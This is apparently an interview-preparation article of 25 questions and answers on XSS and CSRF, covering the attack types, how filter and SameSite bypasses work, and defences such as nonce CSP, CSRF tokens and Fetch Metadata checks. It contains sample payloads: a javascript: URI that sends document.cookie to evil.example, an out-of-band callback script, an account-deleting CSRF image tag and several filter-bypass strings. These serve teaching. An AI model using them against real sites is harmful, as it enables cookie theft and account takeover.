Top 25 Cross-Site Scripting (XSS) & CSRF Interview Questions & Answers
Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) remain two of the most frequently tested topics in Application Security (AppSec), Penetration Testing, and Full-Stack Security Engineering interviews. While both exploit browser trust models, they abuse opposite directions of trust: XSS exploits the trust a user's browser has in a vulnerable website, whereas CSRF exploits the trust a website has in a user's authenticated browser.
XSS vs. CSRF: Quick Architectural Comparison
Reviewing this side-by-side matrix before an interview ensures you can immediately contrast root causes, execution contexts, and defenses:
| Security Dimension | Cross-Site Scripting (XSS) | Cross-Site Request Forgery (CSRF) |
|---|---|---|
| Root Vulnerability | Unsanitized untrusted input rendered or executed as active code (HTML/JS) | State-changing endpoint relies solely on ambient credentials (cookies) without verifying request origin |
| Trust Boundary Violated | User trusts the legitimate origin (app.example.com) | Server trusts any HTTP request carrying valid session cookies |
| Execution Origin | Same-Origin (executes inside app.example.com's DOM & JS context) | Cross-Origin (triggered from attacker.example via hidden <form>, <img>, or fetch) |
| Can It Read Responses? | Yes — full read/write access to DOM, localStorage, and authenticated API responses | No — blocked from reading cross-origin responses by the Same-Origin Policy (SOP) |
| Primary Defense | Context-aware output encoding, DOM sanitization (DOMPurify), strict CSP | SameSite=Lax/Strict cookies + Synchronizer/Double-Submit CSRF tokens |
| Does CSRF Token Stop XSS? | No — XSS runs in the same origin and can read the CSRF token from the DOM | Yes — cross-origin scripts cannot read the token due to SOP |
TEXT
+-----------------------------------------------------------------------------------+
| BROWSER TRUST BOUNDARIES: XSS vs. CSRF |
+-----------------------------------------------------------------------------------+
| |
| CROSS-SITE SCRIPTING (XSS): INJECTING CODE INTO THE TRUSTED ORIGIN |
| [Attacker Payload] ---> [Vulnerable App] ---> [Victim Browser DOM (app.com)] |
| -> Executes JS inside app.com |
| -> Reads DOM, CSRF tokens, APIs |
| |
| CROSS-SITE REQUEST FORGERY (CSRF): FORCING ACTIONS FROM AN UNTRUSTED ORIGIN |
| [Victim Visits evil.com] ---> Auto-submits POST ---> [Target App (app.com)] |
| + Ambient Session Cookie Attached by Browser |
| -> Server executes action without Origin check |
+-----------------------------------------------------------------------------------+
Part 1: Foundational XSS & CSRF Concepts (Questions 1–8)
1. What is the fundamental difference between XSS and CSRF?
- Answer: XSS allows an attacker to execute arbitrary JavaScript inside the victim's browser session on the trusted target origin, enabling data theft (reading DOM, tokens, API responses) and arbitrary actions. CSRF forces an authenticated victim's browser to send a forged, state-changing HTTP request (e.g., password reset, fund transfer) from an attacker-controlled origin using automatically attached session cookies—without letting the attacker read the response.
2. What are the three primary types of Cross-Site Scripting (XSS)?
- Answer: Reflected (Non-Persistent) XSS: Malicious script is sent in an HTTP request (e.g., URL query parameter
?q=<script>...) and immediately echoed back in the server's HTML response without encoding. Stored (Persistent) XSS: Malicious payload is saved in the application's database (e.g., user bio, forum comment, support ticket) and served to every user who views that record. DOM-Based XSS: The vulnerability exists entirely in client-side JavaScript—an untrusted Source (likelocation.hashordocument.URL) flows into a dangerous Sink (likeelement.innerHTMLoreval()) without touching the backend server.
3. Why doesn't HttpOnly on session cookies completely prevent XSS impact?
- Answer: While
HttpOnlyprevents JavaScript (document.cookie) from reading the raw session cookie value, an XSS payload executes inside the authenticated browser session. The attacker's script can simply issuefetch('/api/v1/user/email', { method: 'POST', ... })—the browser automatically attaches theHttpOnlycookie, allowing full account takeover without ever stealing the cookie string.
4. What is Blind XSS, and how do security engineers detect it?
- Answer: Blind XSS is a variant of Stored XSS where the payload executes in a completely different application or privilege tier that the attacker cannot directly view—such as an internal customer-support dashboard, admin log viewer, or SIEM web console. Security testers detect it using out-of-band (OOB) callback payloads (
<script src="https://oob-listener.example/hit"></script>) that capture the internal admin's DOM, URL, and User-Agent when rendered.
5. What is Mutation XSS (mXSS)?
- Answer: Mutation XSS occurs when HTML input passes through a server-side or client-side sanitizer safely, but the browser's HTML parser mutates or "repairs" malformed markup during DOM insertion (e.g., inside
<noscript>,<svg>, or<math>namespaces), transforming benign-looking tags into executable JavaScript.
6. Why are GET requests supposed to be idempotent, and how does violating this enable trivial CSRF?
- Answer: Under HTTP semantics (
RFC 9110),GETrequests must only retrieve data and never mutate server state. If an application performs state changes viaGET(e.g.,GET /account/delete?confirm=true), an attacker can trigger CSRF anywhere HTML images are rendered using a zero-JavaScript tag:<img src="https://app.example/account/delete?confirm=true" width="0" height="0">.
7. Does CORS (Cross-Origin Resource Sharing) protect against CSRF?
- Answer: No—CORS does not stop simple CSRF attacks. Browsers still send cross-origin "simple" requests (
GET,HEAD, andPOSTwithapplication/x-www-form-urlencoded,multipart/form-data, ortext/plain) without a preflightOPTIONScheck. CORS only prevents the attacker's JavaScript from reading the HTTP response; the state-changing action on the backend has already executed.
8. Why does XSS completely bypass all CSRF protections?
- Answer: All CSRF defenses (Synchronizer Tokens, Double-Submit Cookies,
SameSitecookies, customX-Requested-Withheaders) rely on the assumption that requests originate from a cross-origin attacker page. Because XSS executes inside the same origin, malicious JavaScript can read the CSRF token directly from a<meta>tag or hidden input and send legitimate same-origin requests.
Part 2: Deep-Dive Exploitation & Bypass Mechanics (Questions 9–17)
9. Explain the difference between a DOM XSS "Source" and a "Sink" with concrete examples.
- Answer: Sources are attacker-controllable DOM properties:
location.search,location.hash,document.referrer,window.name, andpostMessageevent data (event.data). Sinks are DOM APIs or functions that interpret strings as executable code or active HTML:innerHTML,outerHTML,insertAdjacentHTML(),document.write(),eval(),setTimeout(string), andlocation.href = "javascript:...".
10. How can javascript: URI injection occur even when HTML tags (<, >) are strictly encoded?
- Answer: When user input is placed inside an href or action attribute (
<a href="USER_INPUT">Profile</a>), HTML-encoding<and>does nothing because no new tag is needed. Supplyingjavascript:fetch('https://evil.example/?c='+document.cookie)executes arbitrary JavaScript upon user click. Remediation requires validating that URLs begin with an explicit allowlist of schemes (https://orhttp://).
11. How do attackers bypass naive blacklist XSS filters (e.g., regex blocking <script>)?
- Answer: Blacklists fail because HTML5 supports dozens of alternative execution contexts: Event handlers on non-script tags:
<img src=x onerror=alert(1)>,<svg onload=alert(1)>,<details open ontoggle=alert(1)>Case/whitespace/encoding tricks:<ScRiPt>,<img/src=x/onerror=alert(1)>, HTML entity decoding inside attributes (onerror="alert(1)").
12. How does postMessage create DOM XSS vulnerabilities in Single-Page Applications (SPAs)?
- Answer: If a
window.addEventListener("message", handler)listener fails to validateevent.originagainst an exact trusted origin allowlist and passesevent.dataintoinnerHTMLoreval(), any malicious popup or<iframe>opened by an attacker can send cross-window messages to execute arbitrary JS in the target SPA.
13. What is Self-XSS, and how do attackers escalate it into an exploitable attack?
- Answer: Self-XSS only triggers when a victim pastes or types a payload into their own input field (e.g., a private draft note or browser DevTools console). Attackers escalate Self-XSS by chaining it with Login CSRF (logging the victim into an attacker-owned account containing Stored XSS), Clickjacking, or OAuth/SSO account linking flaws.
14. How does SameSite=Lax cookie behavior work, and what edge cases still allow CSRF?
- Answer: Modern browsers default cookies without a
SameSiteattribute toSameSite=Lax.Laxblocks cookies on cross-sitePOSTforms,<iframe>loads, andfetch()calls, but still sends cookies on top-level cross-siteGETnavigations (such aswindow.location = "https://target.example/transfer?to=attacker"). Additionally, Chrome's "Lax + POST" 2-minute grace period for cookies lacking an explicitSameSiteattribute can expose newly issued session cookies ifSameSite=Laxis not explicitly declared.
15. How can a subdomain takeover or XSS on a sibling subdomain bypass SameSite cookie protections?
- Answer:
SameSitetreats registrable domains (eTLD+1, such as*.example.com) as same-site, even thoughblog.example.comandapp.example.comare cross-origin. If an attacker compromisesblog.example.comvia XSS or subdomain takeover, requests fromblog.example.comtoapp.example.comare considered same-site, causing the browser to attachSameSite=StrictandSameSite=Laxcookies!
16. How does JSON CSRF work when an API expects Content-Type: application/json?
- Answer: Cross-origin
<form>elements cannot setContent-Type: application/json(they only supporttext/plain,application/x-www-form-urlencoded, andmultipart/form-data), while cross-originfetch()settingapplication/jsontriggers a CORS preflightOPTIONScheck. However, if the backend parses the request body as JSON without strictly validating theContent-Type: application/jsonheader, an attacker can submit<form enctype="text/plain">with a crafted input name{"role":"admin","ignore":"and value"}to forge valid JSON.
17. What is Login CSRF, and why does it matter?
- Answer: Login CSRF forces a victim's browser to authenticate into an attacker-controlled account on the target site. Any sensitive data the victim subsequently enters—such as saved credit cards, shipping addresses, or search history—is stored inside the attacker's account, allowing the attacker to log in later and harvest it.
Part 3: Architecture, Remediation & Defense-in-Depth (Questions 18–25)
18. Why is "Context-Aware Output Encoding" mandatory for XSS remediation?
- Answer: Different HTML contexts require different escaping rules. Escaping
<and>(<,>) prevents tag injection in HTML body text, but fails inside an unquoted HTML attribute (<input value=USER_INPUT>can be broken out of with a space andonfocus=alert(1) autofocus) or inside a<script>string literal ('; alert(1); //). Always encode for the exact rendering context: HTML Body, HTML Attribute, JavaScript Variable, CSS, or URL Parameter.
19. How do modern frontend frameworks (React, Angular, Vue) mitigate XSS, and how do developers still introduce XSS in them?
- Answer: React JSX (
<div>{userInput}</div>) automatically escapes strings before inserting them into the DOM. However, developers routinely re-introduce XSS via: Escape hatches:dangerouslySetInnerHTML={{ html: untrustedHtml }}in React orv-htmlin Vue without passing the string throughDOMPurify. Dynamichrefattributes:<a href={userProvidedUrl}>allowingjavascript:URIs. Server-Side Rendering (SSR) state hydration: Serializing unescaped JSON into<script>window.INITIAL_STATE__ = ...</script>where</script>inside user data breaks out of the script tag.
20. How do you design a strict Content Security Policy (CSP) using nonces to block XSS?
- Answer: Avoid domain allowlists (which are frequently bypassed via JSONP endpoints or open redirects on CDNs) and
unsafe-inline. Instead, generate a cryptographically random, per-requestnonce(>= 128 bitsof entropy) and usestrict-dynamic:
HTTP
Content-Security-Policy: default-src 'none'; script-src 'nonce-r4nd0mN0nc3V4lu3' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; require-trusted-types-for 'script';
base-uri 'none'prevents<base href="https://evil.example">hijacking of relative script URLs.require-trusted-types-for 'script'enforces Trusted Types, blocking raw strings from reaching DOM XSS sinks likeinnerHTML.
21. Compare the Synchronizer Token Pattern vs. the Double-Submit Cookie Pattern for CSRF defense.
- Answer: Synchronizer Token Pattern (Stateful): The server generates a cryptographically random token tied to the user's server-side session (
Redis/DB) and embeds it in forms or meta tags. On every state-changing request (POST,PUT,DELETE), the server compares the submitted token against the session store using constant-time comparison (hmac.compare_digest). Double-Submit Cookie Pattern (Stateless): The server sends a random token in a cookie (csrf_token) and requires client JS to read it and echo it in a custom header (X-CSRF-Token). Because cross-origin scripts cannot read cookies or set custom headers without CORS permission, matching values prove same-origin execution. For stronger security, bind the token via HMAC to the user's session ID (Signed Double-Submit Cookie) to prevent cookie-tossing overwrites from compromised subdomains.
22. How do Fetch Metadata request headers (Sec-Fetch-Site, Sec-Fetch-Mode) provide stateless CSRF protection?
- Answer: Modern browsers automatically attach unforgeable
Sec-Fetch-*headers to requests (JavaScript cannot override headers prefixed withSec-). A backend middleware can reject cross-site state-changing requests before business logic runs:
Python
def verify_fetch_metadata(headers: dict[str, str], method: str) -> bool:
if method in ("GET", "HEAD", "OPTIONS"):
return True
sec_fetch_site = headers.get("Sec-Fetch-Site", "")
# Allow only same-origin or direct user-initiated navigation
if sec_fetch_site in ("same-origin", "none"):
return True
# Backward compatibility for legacy clients lacking Fetch Metadata (rely on CSRF token)
if not sec_fetch_site:
return True
return False
23. Why should JWTs used for browser authentication be stored in HttpOnly; Secure; SameSite=Lax cookies rather than localStorage?
- Answer: Anything stored in
localStorageorsessionStorageis globally readable by JavaScript—meaning a single XSS flaw anywhere on the origin (including third-party analytics scripts) immediately exfiltrates the long-lived bearer token. Storing the JWT in anHttpOnly; Secure; SameSite=Laxcookie prevents direct token exfiltration via XSS while mitigating CSRF viaSameSite=Laxplus a customX-CSRF-Tokenheader.
24. How do you securely sanitize rich user-generated HTML (e.g., Markdown editors) without breaking formatting?
- Answer: Never write custom regex HTML cleaners. Parse the HTML into a real DOM tree and filter it against an explicit allowlist of safe tags (
<p>,<b>,<i>,<ul>,<li>,<code>) and safe attributes (hrefrestricted tohttps://) using DOMPurify on the client and Bleach / nh3 on the server—always sanitizing immediately before rendering to prevent Mutation XSS.
25. Walk through a complete defense-in-depth checklist for securing a modern web application against both XSS and CSRF.
- Answer: Framework Auto-Escaping & Safe Sinks: Rely on JSX/template auto-escaping; ban
innerHTMLanddangerouslySetInnerHTMLunless wrapped inDOMPurify+ Trusted Types. Strict Nonce-Based CSP: Enforcescript-src 'nonce-...' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'. Hardened Session Cookies: SetSecure; HttpOnly; SameSite=Lax(orSameSite=Strictfor banking/admin portals) withHost-cookie prefixes (Host-session=...; Path=/; Secure; HttpOnly; SameSite=Lax) to prevent subdomain cookie tossing. Anti-CSRF Validation: Require a session-bound CSRF token in a custom request header (X-CSRF-Token), verifySec-Fetch-Site: same-origin, and strictly enforceContent-Type: application/jsonon JSON API endpoints.